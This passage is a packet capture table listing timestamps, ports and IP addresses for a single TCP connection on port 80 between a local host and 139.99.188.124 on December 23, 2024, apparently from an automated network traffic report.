Dec 23, 2024 08:40:14.497888088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.497960091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.498014927 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.598984957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.599044085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.599100113 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.599384069 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.599589109 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.599639893 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.600230932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.600342989 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.600389957 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.600959063 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.601057053 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.601110935 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.601814985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.601936102 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.602144003 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.602605104 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.602734089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.602895021 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.603451967 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.603466034 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.603519917 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.604160070 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.604259014 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.604302883 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.604983091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.605005026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.605047941 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.605734110 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.605851889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.605894089 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.619332075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.619592905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.619741917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.619784117 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.619852066 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.619908094 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.620434999 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.620579004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.620716095 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.621129990 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.640173912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.640239954 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.640332937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.640556097 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.640619040 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.640662909 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.641233921 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.641278028 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.641366959 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.641971111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.642049074 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.642086983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.642759085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.642771959 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.642812014 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.643423080 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.643484116 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.643548965 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.644273996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.644339085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.644387007 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.644896030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.644938946 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.645045996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.645618916 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.645662069 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.645687103 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.646323919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.646382093 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.646450996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.647102118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.647151947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.647165060 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.647825003 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.647880077 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.648015022 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.648551941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.648617983 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.648654938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.649277925 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.649324894 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.649405956 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.650087118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.650131941 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.650168896 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.650779009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.650818110 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.650854111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.651488066 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.651535034 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.651617050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.652190924 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.652247906 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.652251959 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.652930021 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.652987003 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.653085947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.653661966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.653723955 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.653743029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.654375076 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.654427052 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.654495955 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.655114889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.655213118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.655217886 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.655911922 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.655957937 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.655986071 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.656585932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.656630039 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.656744957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.657313108 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.657357931 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.657390118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.658042908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.658086061 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.658103943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.658782005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.658833027 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.658874989 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.659632921 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.659708023 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.659715891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.660214901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.660265923 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.660434008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.660950899 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.661001921 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.661036015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.661700010 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.661746979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.661861897 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.662543058 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.662554979 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.662579060 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.663165092 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.663203955 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.663327932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.663861036 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.663909912 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.664089918 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.664606094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.664649963 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.664738894 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.665343046 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.665393114 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.665488005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.666085958 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.666099072 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.666167021 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.666799068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.666853905 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.666889906 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.667577982 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.667629004 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.667645931 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.668262959 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.668390989 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.668394089 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.786431074 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.791141987 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.791162014 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.791224003 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.791394949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.791568995 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.791620016 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.792181015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.792375088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.792588949 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.792902946 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.792984962 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.793076992 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.793627024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.793752909 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.793973923 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.794341087 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.794454098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.794497967 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.795068026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.795125008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.795361042 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.795804024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.795948029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.795995951 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.796523094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.796766043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.796883106 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.797346115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.797389030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.797466040 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.811458111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.811676025 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.811726093 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.811791897 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.812074900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.812124014 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.812536955 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.812638044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.812679052 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.813265085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.832293034 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.832307100 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.832355976 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.832501888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.832551003 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.832614899 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.833337069 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.833348036 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.833390951 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.833951950 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.834008932 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.834048986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.834768057 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.834815979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.835001945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.835510015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.835561991 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.835599899 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.836198092 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.836256981 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.836270094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.836888075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.836937904 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.837003946 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.837690115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.837732077 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.837750912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.838362932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.838453054 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.838510990 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.839159012 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.839195967 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.839242935 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.839854002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.839914083 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.840131998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.840603113 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.840645075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.840653896 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.841325998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.841375113 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.841413021 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.841981888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.842048883 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.842086077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.842749119 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.842860937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.842864990 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.843503952 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.843544006 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.843616009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.844228983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.844288111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.844331026 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.844928026 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.844971895 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.845048904 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.845655918 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.845700979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.845763922 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.846434116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.846472979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.846474886 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.847147942 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.847194910 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.847198963 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.847835064 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.847877026 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.848011971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.848592043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.848680019 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.848686934 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.849435091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.849447966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.849478960 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.850027084 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.850070953 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.850092888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.850769043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.850811005 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.850908995 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.851511002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.851552963 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.851639986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.852332115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.852344036 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.852381945 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.852921963 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.852999926 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.853015900 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.853682995 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.853727102 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.853785992 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.854470015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.854538918 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.854615927 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.855138063 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.855176926 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.855243921 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.855891943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.856019020 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.856084108 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.856626987 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.856668949 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.856684923 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.857379913 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.857443094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.857455015 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.858082056 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.858120918 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.858124018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.858819962 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.858860016 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.859030008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.859544039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.859647989 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.859689951 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.860333920 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.860347986 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.860378981 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.931726933 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.983288050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.983334064 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.983473063 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.983593941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.983694077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.983733892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.984301090 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.984417915 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.984457970 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.985024929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.985131025 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.985357046 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.985769987 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.985943079 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.985985994 CET	49813	80	192.168.2.9	139.99.188.124
